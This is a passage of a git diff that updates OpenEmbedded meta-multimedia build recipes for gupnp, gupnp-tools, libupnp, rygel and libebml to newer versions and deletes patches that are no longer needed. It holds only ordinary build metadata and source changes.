diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-igd_1.2.0.bb b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-igd_1.6.0.bb
index 49cd8d8318..d8dbc262cd 100644
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-igd_1.2.0.bb
+++ b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-igd_1.6.0.bb
@@ -3,11 +3,10 @@ LICENSE = "LGPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
file://libgupnp-igd/gupnp-simple-igd.c;beginline=1;endline=21;md5=aa292c0d9390463a6e1055dc5fc68e80"
-DEPENDS = "glib-2.0 gssdp gupnp sqlite3"
+DEPENDS = "glib-2.0 gssdp gupnp"
-SRC_URI = "http://download.gnome.org/sources/${BPN}/1.2/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "4b5120098aa13edd27818ba9ee4d7fe961bf540bf50d056ff703c61545e02be1"
+inherit gnomebase pkgconfig gtk-doc gobject-introspection
-GTKDOC_MESON_OPTION = "gtk_doc"
+SRC_URI[archive.sha256sum] = "4099978339ab22126d4968f2a332b6d094fc44c78797860781f1fc2f11771b74"
-inherit meson pkgconfig gtk-doc gobject-introspection
+GTKDOC_MESON_OPTION = "gtk_doc"
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools/0001-build-Fix-wrap-file-syntax.patch b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools/0001-build-Fix-wrap-file-syntax.patch
deleted file mode 100644
index 5c13ce0bd5..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools/0001-build-Fix-wrap-file-syntax.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 4c86f814fbe17eb5774055d69102408bbfc1cd63 Mon Sep 17 00:00:00 2001
-From: Jens Georg <mail@jensge.org>
-Date: Sun, 9 Jul 2023 21:47:48 +0200
-Subject: [PATCH] build: Fix wrap file syntax
-
-No idea why it worked in the first place
-
-Fixes #26
-
-Signed-off-by: Martin Jansa <martin.jansa@gmail.com>
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/gupnp-tools/-/commit/1372f9ebe45180d58cefb6c0475fafe77de37ef2]
----
- subprojects/gssdp-1.2.wrap | 4 ++--
- subprojects/gupnp-1.2.wrap | 4 ++--
- subprojects/gupnp-av-1.0.wrap | 4 ++--
- 3 files changed, 6 insertions(+), 6 deletions(-)
-
-diff --git a/subprojects/gssdp-1.2.wrap b/subprojects/gssdp-1.2.wrap
-index 34d9b0b..f78d2fa 100644
---- a/subprojects/gssdp-1.2.wrap
-+++ b/subprojects/gssdp-1.2.wrap
-@@ -3,6 +3,6 @@ url = https://gitlab.gnome.org/GNOME/gssdp.git
- revision = master
- depth = 1
-
--[provides]
--dependency_name = gssdp-1.2
-+[provide]
-+dependency_names = gssdp-1.2
-
-diff --git a/subprojects/gupnp-1.2.wrap b/subprojects/gupnp-1.2.wrap
-index c345910..f92c055 100644
---- a/subprojects/gupnp-1.2.wrap
-+++ b/subprojects/gupnp-1.2.wrap
-@@ -3,6 +3,6 @@ url = https://gitlab.gnome.org/GNOME/gupnp.git
- revision = master
- depth = 1
-
--[provides]
--dependency_name = gupnp-1.2
-+[provide]
-+dependency_names = gupnp-1.2
-
-diff --git a/subprojects/gupnp-av-1.0.wrap b/subprojects/gupnp-av-1.0.wrap
-index 967e6d3..8c3b490 100644
---- a/subprojects/gupnp-av-1.0.wrap
-+++ b/subprojects/gupnp-av-1.0.wrap
-@@ -3,6 +3,6 @@ url = https://gitlab.gnome.org/GNOME/gupnp-av.git
- revision = master
- depth = 1
-
--[provides]
--dependency_name = gupnp-av-1.0
-+[provide]
-+dependency_names = gupnp-av-1.0
-
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools_0.10.2.bb b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools_0.10.2.bb
deleted file mode 100644
index 9731ede274..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools_0.10.2.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Tools for GUPnP"
-LICENSE = "GPL-2.0-or-later"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe \
- file://src/network-light/main.c;beginline=1;endline=21;md5=2c39b3a000495dabd4932f231c7efed8"
-
-DEPENDS = "gupnp gupnp-av gtk+3 glib-2.0-native intltool-native"
-
-inherit features_check meson pkgconfig gettext gtk-icon-cache
-
-REQUIRED_DISTRO_FEATURES = "x11"
-
-SRC_URI = "http://download.gnome.org/sources/${BPN}/0.10/${BPN}-${PV}.tar.xz \
- file://0001-build-Fix-wrap-file-syntax.patch \
-"
-SRC_URI[sha256sum] = "6de49ef4b375b8a164f74b766168b1184e0d28196b6b07a4f5341f08dfd85d6c"
-
-RRECOMMENDS:${PN} = "adwaita-icon-theme"
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools_0.12.1.bb b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools_0.12.1.bb
new file mode 100644
index 0000000000..4f6ff3fb97
--- /dev/null
+++ b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp-tools_0.12.1.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Tools for GUPnP"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+DEPENDS = "gupnp gssdp gtk+3 libsoup-3.0 libxml2 glib-2.0 "
+
+inherit gnomebase features_check pkgconfig gettext gtk-icon-cache
+
+ANY_OF_DISTRO_FEATURES = "x11 wayland"
+
+SRC_URI[archive.sha256sum] = "53cf93123f397e8f8f0b8e9e4364c86a7502a5334f4c0be2e054a824478bd5ba"
+
+PACKAGECONFIG ??= "av-tools"
+PACKAGECONFIG[av-tools] = "-Dav-tools=true,-Dav-tools=false,gupnp-av"
+PACKAGECONFIG[gtksourceview] = ",,gtksourceview4"
+
+CFLAGS += "-Wno-deprecated-declarations"
+
+RRECOMMENDS:${PN} = "adwaita-icon-theme"
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp/0001-all-Drop-xmlRecoverMemory.patch b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp/0001-all-Drop-xmlRecoverMemory.patch
deleted file mode 100644
index a3941f345f..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp/0001-all-Drop-xmlRecoverMemory.patch
+++ /dev/null
@@ -1,107 +0,0 @@
-From 46f13d9929c81ec2340a1a5d48f596b1892c5a81 Mon Sep 17 00:00:00 2001
-From: Jens Georg <mail@jensge.org>
-Date: Thu, 4 May 2023 19:14:29 +0200
-Subject: [PATCH] all: Drop xmlRecoverMemory
-
-use xmlReadMemory, also use NONET flat
-
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-Upstream-Status: Backport [https://github.com/GNOME/gupnp/commit/80e68995b745a5900eaaa1d0c424d3a9d354e42d]
----
- libgupnp/gupnp-control-point.c | 7 +++++--
- libgupnp/gupnp-service-info.c | 7 +++++--
- libgupnp/gupnp-service-proxy-action.c | 7 +++++--
- libgupnp/gupnp-service-proxy.c | 7 +++++--
- libgupnp/gupnp-service.c | 7 +++++--
- 5 files changed, 25 insertions(+), 10 deletions(-)
-
-diff --git a/libgupnp/gupnp-control-point.c b/libgupnp/gupnp-control-point.c
-index dc04732..99ebda5 100644
---- a/libgupnp/gupnp-control-point.c
-+++ b/libgupnp/gupnp-control-point.c
-@@ -608,8 +608,11 @@ got_description_url (SoupSession *session,
- xmlDoc *xml_doc;
-
- /* Parse response */
-- xml_doc = xmlRecoverMemory (msg->response_body->data,
-- msg->response_body->length);
-+ xml_doc = xmlReadMemory (msg->response_body->data,
-+ msg->response_body->length,
-+ NULL,
-+ NULL,
-+ XML_PARSE_NONET | XML_PARSE_RECOVER);
- if (xml_doc) {
- doc = gupnp_xml_doc_new (xml_doc);
-
-diff --git a/libgupnp/gupnp-service-info.c b/libgupnp/gupnp-service-info.c
-index 9a9f4de..d468801 100644
---- a/libgupnp/gupnp-service-info.c
-+++ b/libgupnp/gupnp-service-info.c
-@@ -592,8 +592,11 @@ got_scpd_url (G_GNUC_UNUSED SoupSession *session,
- if (SOUP_STATUS_IS_SUCCESSFUL (msg->status_code)) {
- xmlDoc *scpd;
-
-- scpd = xmlRecoverMemory (msg->response_body->data,
-- msg->response_body->length);
-+ scpd = xmlReadMemory (msg->response_body->data,
-+ msg->response_body->length,
-+ NULL,
-+ NULL,
-+ XML_PARSE_NONET | XML_PARSE_RECOVER);
- if (scpd) {
- introspection = gupnp_service_introspection_new (scpd);
-
-diff --git a/libgupnp/gupnp-service-proxy-action.c b/libgupnp/gupnp-service-proxy-action.c
-index 4d9336c..ef8a808 100644
---- a/libgupnp/gupnp-service-proxy-action.c
-+++ b/libgupnp/gupnp-service-proxy-action.c
-@@ -86,8 +86,11 @@ check_action_response (G_GNUC_UNUSED GUPnPServiceProxy *proxy,
- }
-
- /* Parse response */
-- response = xmlRecoverMemory (action->msg->response_body->data,
-- action->msg->response_body->length);
-+ response = xmlReadMemory (action->msg->response_body->data,
-+ action->msg->response_body->length,
-+ NULL,
-+ NULL,
-+ XML_PARSE_NONET | XML_PARSE_RECOVER);
-
- if (!response) {
- if (action->msg->status_code == SOUP_STATUS_OK) {
-diff --git a/libgupnp/gupnp-service-proxy.c b/libgupnp/gupnp-service-proxy.c
-index 25d5ef6..af2fd46 100644
---- a/libgupnp/gupnp-service-proxy.c
-+++ b/libgupnp/gupnp-service-proxy.c
-@@ -1560,8 +1560,11 @@ server_handler (G_GNUC_UNUSED SoupServer *soup_server,
- }
-
- /* Parse the actual XML message content */
-- doc = xmlRecoverMemory (msg->request_body->data,
-- msg->request_body->length);
-+ doc = xmlReadMemory (msg->request_body->data,
-+ msg->request_body->length,
-+ NULL,
-+ NULL,
-+ XML_PARSE_NONET | XML_PARSE_RECOVER);
- if (doc == NULL) {
- /* Failed */
- g_warning ("Failed to parse NOTIFY message body");
-diff --git a/libgupnp/gupnp-service.c b/libgupnp/gupnp-service.c
-index 67b3d43..0ebfb26 100644
---- a/libgupnp/gupnp-service.c
-+++ b/libgupnp/gupnp-service.c
-@@ -985,8 +985,11 @@ control_server_handler (SoupServer *server,
- *end = '\0';
-
- /* Parse action_node */
-- doc = xmlRecoverMemory (msg->request_body->data,
-- msg->request_body->length);
-+ doc = xmlReadMemory (msg->request_body->data,
-+ msg->request_body->length,
-+ NULL,
-+ NULL,
-+ XML_PARSE_NONET | XML_PARSE_RECOVER);
- if (doc == NULL) {
- soup_message_set_status (msg, SOUP_STATUS_BAD_REQUEST);
-
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp/0001-build-properly-spell-provide-in-.wrap-files.patch b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp/0001-build-properly-spell-provide-in-.wrap-files.patch
deleted file mode 100644
index 66f07094c5..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp/0001-build-properly-spell-provide-in-.wrap-files.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From 7a4515a356a3d5eb2af1f602c77a42a544e71efa Mon Sep 17 00:00:00 2001
-From: Jan Beich <jbeich@FreeBSD.org>
-Date: Sun, 9 Jul 2023 03:30:47 +0000
-Subject: [PATCH] build: properly spell [provide] in *.wrap files
-
-meson.build:1:0: ERROR: Unexpected "[provides]" section, did you mean "[provide]"?
-
-Signed-off-by: Martin Jansa <martin.jansa@gmail.com>
-Upstream-Status: Backport [https://gitlab.gnome.org/GNOME/gupnp/-/commit/884639bd29323cbb8fbd36bc69d08097a2ae2cd1]
----
- subprojects/gssdp-1.2.wrap | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/subprojects/gssdp-1.2.wrap b/subprojects/gssdp-1.2.wrap
-index 469c75d..466b83b 100644
---- a/subprojects/gssdp-1.2.wrap
-+++ b/subprojects/gssdp-1.2.wrap
-@@ -3,6 +3,6 @@ url = https://gitlab.gnome.org/GNOME/gssdp.git
- revision = gssdp-1.4
- depth = 1
-
--[provides]
-+[provide]
- dependency_name = gssdp-1.2
-
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp_1.4.1.bb b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp_1.6.6.bb
index efeb66f28f..f1628d82ee 100644
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp_1.4.1.bb
+++ b/meta-openembedded/meta-multimedia/recipes-connectivity/gupnp/gupnp_1.6.6.bb
@@ -3,15 +3,11 @@ DESCRIPTION = "GUPnP is an elegant, object-oriented open source framework for cr
LICENSE = "LGPL-2.1-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-DEPENDS = "e2fsprogs gssdp libsoup-2.4 libxml2"
+DEPENDS = "e2fsprogs gssdp libsoup-3.0 libxml2"
-inherit meson pkgconfig vala gobject-introspection
+inherit gnomebase pkgconfig vala gobject-introspection
-SRC_URI = "${GNOME_MIRROR}/${BPN}/1.4/${BPN}-${PV}.tar.xz \
- file://0001-all-Drop-xmlRecoverMemory.patch \
- file://0001-build-properly-spell-provide-in-.wrap-files.patch \
-"
-SRC_URI[sha256sum] = "899196b5e66f03b8e25f046a7a658cd2a6851becb83f2d55345ab3281655dc0c"
+SRC_URI[archive.sha256sum] = "c9dc50e8c78b3792d1b0e6c5c5f52c93e9345d3dae2891e311a993a574f5a04f"
SYSROOT_PREPROCESS_FUNCS += "gupnp_sysroot_preprocess"
@@ -22,4 +18,4 @@ gupnp_sysroot_preprocess () {
FILES:${PN}-dev += "${bindir}/gupnp-binding-tool*"
-RDEPENDS:${PN}-dev = "python3 python3-xml"
+RDEPENDS:${PN}-dev += "python3-core python3-xml"
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/libupnp/libupnp/0001-ithread-Use-pthread_mutexattr_gettype-pthread_mutexa.patch b/meta-openembedded/meta-multimedia/recipes-connectivity/libupnp/libupnp/0001-ithread-Use-pthread_mutexattr_gettype-pthread_mutexa.patch
deleted file mode 100644
index ee78196779..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/libupnp/libupnp/0001-ithread-Use-pthread_mutexattr_gettype-pthread_mutexa.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 343a3b724225d3c87af0b268da14d3acb7a5b9a1 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 9 May 2021 15:38:43 -0700
-Subject: [PATCH] ithread: Use
- pthread_mutexattr_gettype/pthread_mutexattr_settype on linux
-
-_np variants are not recommended anymore, and glibc 2.34+ will have
-these removed
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- upnp/inc/ithread.h | 6 ++++--
- 1 file changed, 4 insertions(+), 2 deletions(-)
-
-diff --git a/upnp/inc/ithread.h b/upnp/inc/ithread.h
-index f6800ea9..1d0f9dba 100644
---- a/upnp/inc/ithread.h
-+++ b/upnp/inc/ithread.h
-@@ -304,7 +304,8 @@ static UPNP_INLINE int ithread_cleanup_thread(void)
- * Returns EINVAL if the kind is not supported.
- * See man page for pthread_mutexattr_setkind_np
- *****************************************************************************/
--#if defined(PTHREAD_MUTEX_RECURSIVE) || defined(__DragonFly__)
-+#if defined(PTHREAD_MUTEX_RECURSIVE) || defined(__DragonFly__) \
-+ || defined (__linux__)
- #define ithread_mutexattr_setkind_np pthread_mutexattr_settype
- #else
- #define ithread_mutexattr_setkind_np pthread_mutexattr_setkind_np
-@@ -329,7 +330,8 @@ static UPNP_INLINE int ithread_cleanup_thread(void)
- * Always returns 0.
- * See man page for pthread_mutexattr_getkind_np
- *****************************************************************************/
--#if defined(PTHREAD_MUTEX_RECURSIVE) || defined(__DragonFly__)
-+#if defined(PTHREAD_MUTEX_RECURSIVE) || defined(__DragonFly__) \
-+ || defined (__linux__)
- #define ithread_mutexattr_getkind_np pthread_mutexattr_gettype
- #else
- #define ithread_mutexattr_getkind_np pthread_mutexattr_getkind_np
---
-2.31.1
-
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/libupnp/libupnp_1.14.6.bb b/meta-openembedded/meta-multimedia/recipes-connectivity/libupnp/libupnp_1.14.18.bb
index 81b42da412..5b15d18096 100644
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/libupnp/libupnp_1.14.6.bb
+++ b/meta-openembedded/meta-multimedia/recipes-connectivity/libupnp/libupnp_1.14.18.bb
@@ -8,9 +8,8 @@ HOMEPAGE = "http://pupnp.sourceforge.net/"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://COPYING;md5=394a0f17b97f33426275571e15920434"
-SRCREV = "cef2b23fb36baac091b0c7d41136b4c1d9549c6d"
+SRCREV = "c540ce2431bdeac73359029d4592b45790e1d154"
SRC_URI = "git://github.com/pupnp/pupnp.git;protocol=https;branch=branch-1.14.x \
- file://0001-ithread-Use-pthread_mutexattr_gettype-pthread_mutexa.patch \
"
S="${WORKDIR}/git"
diff --git a/meta-openembedded/meta-multimedia/recipes-connectivity/rygel/rygel_0.40.4.bb b/meta-openembedded/meta-multimedia/recipes-connectivity/rygel/rygel_0.42.4.bb
index 8bc8767d8f..9662296399 100644
--- a/meta-openembedded/meta-multimedia/recipes-connectivity/rygel/rygel_0.40.4.bb
+++ b/meta-openembedded/meta-multimedia/recipes-connectivity/rygel/rygel_0.42.4.bb
@@ -9,27 +9,26 @@ LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
DEPENDS = "libxml2 glib-2.0 gssdp gupnp gupnp-av gupnp-dlna gstreamer1.0 \
- gstreamer1.0-plugins-base libgee libsoup-2.4 libmediaart-2.0 \
+ gstreamer1.0-plugins-base libgee libsoup libmediaart-2.0 \
libunistring sqlite3 intltool-native gst-editing-services"
RDEPENDS:${PN} = "gstreamer1.0-plugins-base-playback shared-mime-info"
RRECOMMENDS:${PN} = "rygel-plugin-media-export"
-inherit gnomebase features_check vala gobject-introspection gettext systemd meson
+inherit gnomebase features_check vala gobject-introspection gettext systemd
# gobject-introspection is mandatory for libmediaart-2.0 and cannot be configured
REQUIRED_DISTRO_FEATURES = "gobject-introspection-data"
-SRC_URI[archive.sha256sum] = "736d8adbe8615f6cbc8fcfff9845dc985fd10e16629da236b4b52dbedf0a348b"
+SRC_URI[archive.sha256sum] = "6310dfaa2d332b66119b9b020fad6a4bd27d9bc61faf780ca5ca0b62813303f7"
-GNOMEBASEBUILDCLASS = "meson"
GIR_MESON_ENABLE_FLAG = 'enabled'
GIR_MESON_DISABLE_FLAG = 'disabled'
EXTRA_OEMESON = "-Dengines=gstreamer -Dplugins=${@strip_comma('${RYGEL_PLUGINS}')}"
PACKAGECONFIG:append = "${@bb.utils.contains("DISTRO_FEATURES", "x11", " gtk+3", "", d)}"
-PACKAGECONFIG ?= "external mpris ruih media-export gst-launch"
+PACKAGECONFIG ?= "external mpris ruih gst-launch"
PACKAGECONFIG[external] = ""
PACKAGECONFIG[mpris] = ""
@@ -50,7 +49,7 @@ RYGEL_PLUGINS:append ="${@bb.utils.contains('PACKAGECONFIG', 'media-export', ',m
RYGEL_PLUGINS:append ="${@bb.utils.contains('PACKAGECONFIG', 'tracker3', ',tracker3', '', d)}"
RYGEL_PLUGINS:append ="${@bb.utils.contains('PACKAGECONFIG', 'playbin', ',playbin', '', d)}"
-LIBV = "2.6"
+LIBV = "2.8"
CFLAGS:append:toolchain-clang = " -Wno-error=int-conversion"
diff --git a/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml/ldflags.patch b/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml/ldflags.patch
deleted file mode 100644
index a01c7544b6..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml/ldflags.patch
+++ /dev/null
@@ -1,57 +0,0 @@
-Use LD and obey LDFLAGS
-
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-Upstream-Status: Pending
-
-diff --git a/make/linux/Makefile b/make/linux/Makefile
-index 391b6e3..a2ac13e 100644
---- a/make/linux/Makefile
-+++ b/make/linux/Makefile
-@@ -64,6 +64,7 @@ objects_so:=$(patsubst %$(EXTENSION),%.lo,$(sources))
- WARNINGFLAGS=-Wall -Wextra -Wno-unknown-pragmas -ansi -fno-gnu-keywords -Wshadow
- COMPILEFLAGS=$(WARNINGFLAGS) $(CXXFLAGS) $(CPPFLAGS) $(DEBUGFLAGS) $(INCLUDE)
- DEPENDFLAGS = $(CXXFLAGS) $(INCLUDE)
-+LINKFLAGS=$(LDFLAGS)
-
- ifeq (Darwin,$(shell uname -s))
- all: staticlib
-@@ -91,7 +92,7 @@ $(LIBRARY): $(objects)
- $(RANLIB) $@
-
- $(LIBRARY_SO): $(objects_so)
-- $(CXX) -shared -Wl,-soname,$(LIBRARY_SO_VER) -o $(LIBRARY_SO_VER) $(objects_so)
-+ $(LD) $(LINKFLAGS) -shared -Wl,-soname,$(LIBRARY_SO_VER) -o $(LIBRARY_SO_VER) $(objects_so)
- rm -f $(LIBRARY_SO)
- ln -s $(LIBRARY_SO_VER) $(LIBRARY_SO)
-
-diff --git a/make/mingw32/Makefile b/make/mingw32/Makefile
-index e5986ef..6ca16aa 100644
---- a/make/mingw32/Makefile
-+++ b/make/mingw32/Makefile
-@@ -18,6 +18,7 @@ DEBUGFLAGS=-g -DDEBUG
- endif
- CROSS =
- CXX = $(CROSS)g++
-+LD = $(CXX)
- CC = $(CROSS)gcc
- WINDRES = $(CROSS)windres
- RANLIB = $(CROSS)ranlib
-@@ -33,6 +34,7 @@ LIBS = libebml.a
- endif
- INCS = -I"$(shell pwd)/../.."
- COMPILEFLAGS = $(DEBUGFLAGS) $(INCS) $(DLLFLAGS) $(CXXFLAGS)
-+LINKFLAGS = $(LDFLAGS)
-
- .PHONY: all all-before all-after clean clean-custom
-
-@@ -54,7 +56,7 @@ libebml.a: $(OBJ)
- $(RANLIB) $@
-
- libebml.dll: $(OBJ)
-- $(CXX) -shared -Wl,--export-all -Wl,--out-implib=$@.a -o $@ $(OBJ)
-+ $(LD) $(LINKFLAGS) -shared -Wl,--export-all -Wl,--out-implib=$@.a -o $@ $(OBJ)
-
- depend:
- @echo Calculating dependecies:
---
-2.8.0
diff --git a/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml/override-uname.patch b/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml/override-uname.patch
deleted file mode 100644
index 57eb3450d6..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml/override-uname.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-Allow override of the 'uname -s' for cross-compilation
-
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
-Upstream-Status: Pending
-
-diff --git a/make/linux/Makefile b/make/linux/Makefile
-index a2ac13e..4188bee 100644
---- a/make/linux/Makefile
-+++ b/make/linux/Makefile
-@@ -9,9 +9,11 @@
- # 'make DEBUG=yes'.
- #
-
-+TARGET_OS ?= $(shell uname -s)
-+
- # Paths
- # BeOS wants the libs and headers in /boot/home/config
--ifeq (BeOS,$(shell uname -s))
-+ifeq (BeOS,$(TARGET_OS))
- prefix=/boot/home/config
- else
- prefix=/usr/local
-@@ -66,7 +68,7 @@ COMPILEFLAGS=$(WARNINGFLAGS) $(CXXFLAGS) $(CPPFLAGS) $(DEBUGFLAGS) $(INCLUDE)
- DEPENDFLAGS = $(CXXFLAGS) $(INCLUDE)
- LINKFLAGS=$(LDFLAGS)
-
--ifeq (Darwin,$(shell uname -s))
-+ifeq (Darwin,$(TARGET_OS))
- all: staticlib
- else
- all: staticlib sharedlib
-@@ -116,7 +118,7 @@ depend:
- $(CXX) $(DEPENDFLAGS) -MM -MT $$o $$i >> .depend ; \
- done
-
--ifeq (Darwin,$(shell uname -s))
-+ifeq (Darwin,$(TARGET_OS))
- install: install_staticlib install_headers
- else
- install: install_staticlib install_sharedlib install_headers
---
-2.8.0
diff --git a/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml_1.3.0.bb b/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml_1.3.0.bb
deleted file mode 100644
index 744486fa2a..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml_1.3.0.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-SUMMARY = "libebml is a C++ libary to parse EBML files"
-LICENSE = "LGPL-2.1-only"
-LIC_FILES_CHKSUM = "file://LICENSE.LGPL;md5=7fbc338309ac38fefcd64b04bb903e34"
-
-SRC_URI = "\
- http://dl.matroska.org/downloads/libebml/libebml-${PV}.tar.bz2 \
- file://ldflags.patch \
- file://override-uname.patch \
-"
-SRC_URI[md5sum] = "efec729bf5a51e649e1d9d1f61c0ae7a"
-SRC_URI[sha256sum] = "83b074d6b62715aa0080406ea84d33df2e44b5d874096640233a4db49b8096de"
-
-inherit dos2unix
-
-LIBEBML_OS = "Unknown"
-LIBEBML_OS_linux = "Linux"
-LIBEBML_OS:darwin = "Darwin"
-LIBEBML_OS:mingw32 = "Windows"
-
-EXTRA_OEMAKE = "\
- 'TARGET_OS=${LIBEBML_OS}' \
- \
- 'CXX=${CXX}' \
- 'LD=${CXX}' \
- 'AR=${AR}' \
- 'RANLIB=${RANLIB}' \
- \
- 'DEBUGFLAGS=' \
- 'CPPFLAGS=${CPPFLAGS}' \
- 'CXXFLAGS=${CXXFLAGS}' \
- 'LDFLAGS=${LDFLAGS}' \
- \
- 'prefix=${prefix}' \
- 'libdir=${libdir}' \
- 'includedir=${includedir}/ebml' \
-"
-
-do_compile () {
- oe_runmake -C make/linux
-}
-
-do_install() {
- cd ${S}/make/linux
-
- install -d ${D}${libdir}
- install -m 0644 libebml.a ${D}${libdir}
- install -m 0755 libebml.so.* ${D}${libdir}
- cp -R --no-dereference --preserve=mode,links -v libebml.so ${D}${libdir}
-
- install -d ${D}${includedir}/ebml
- for i in ../../ebml/*.h; do
- install -m 0644 $i ${D}${includedir}/ebml
- done
-
- install -d ${D}${includedir}/ebml/c
- for i in ../../ebml/c/*.h; do
- install -m 0644 $i ${D}${includedir}/ebml/c
- done
-}
diff --git a/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml_1.4.4.bb b/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml_1.4.4.bb
new file mode 100644
index 0000000000..3e37e7d2df
--- /dev/null
+++ b/meta-openembedded/meta-multimedia/recipes-mkv/libebml/libebml_1.4.4.bb
@@ -0,0 +1,14 @@
+SUMMARY = "C++ library to parse EBML files"
+HOMEPAGE = "https://github.com/Matroska-Org/libebml"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://LICENSE.LGPL;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://github.com/Matroska-Org/libebml.git;branch=v1.x;protocol=https"
+SRCREV = "8330b222fec992b295c8b2149cf70f9ff648ce4a"
+
+S = "${WORKDIR}/git"
+
+inherit pkgconfig cmake dos2unix
+
+EXTRA_OECMAKE = "-DBUILD_SHARED_LIBS=ON"
+
diff --git a/meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska/0001-Makefile-Use-LINKFLAGS-during-link-step.patch b/meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska/0001-Makefile-Use-LINKFLAGS-during-link-step.patch
deleted file mode 100644
index f7656913b5..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska/0001-Makefile-Use-LINKFLAGS-during-link-step.patch
+++ /dev/null
@@ -1,29 +0,0 @@
-From f0c879097c331d1dabe6ee92b583a8badb62ea6d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 18 Mar 2017 08:26:35 -0700
-Subject: [PATCH] Makefile: Use LINKFLAGS during link step
-
-Adds much needed GNU_HASH section into the .so
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- make/linux/Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/make/linux/Makefile b/make/linux/Makefile
-index 3ca7b0f..b5c9645 100644
---- a/make/linux/Makefile
-+++ b/make/linux/Makefile
-@@ -104,7 +104,7 @@ $(LIBRARY): $(objects)
- $(RANLIB) $@
-
- $(LIBRARY_SO): $(objects_so)
-- $(CXX) -shared -Wl,-soname,$(LIBRARY_SO_VER) -o $(LIBRARY_SO_VER) $(objects_so) -lebml
-+ $(CXX) $(LINKFLAGS) -shared -Wl,-soname,$(LIBRARY_SO_VER) -o $(LIBRARY_SO_VER) $(objects_so) -lebml
- rm -f $(LIBRARY_SO)
- ln -s $(LIBRARY_SO_VER) $(LIBRARY_SO)
-
---
-2.12.0
-
diff --git a/meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska_1.4.1.bb b/meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska_1.4.1.bb
deleted file mode 100644
index 890be69269..0000000000
--- a/meta-openembedded/meta-multimedia/recipes-mkv/libmatroska/libmatroska_1.4.1.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "libmatroska is a C++ libary to parse Matroska files (.mkv and .mka)"
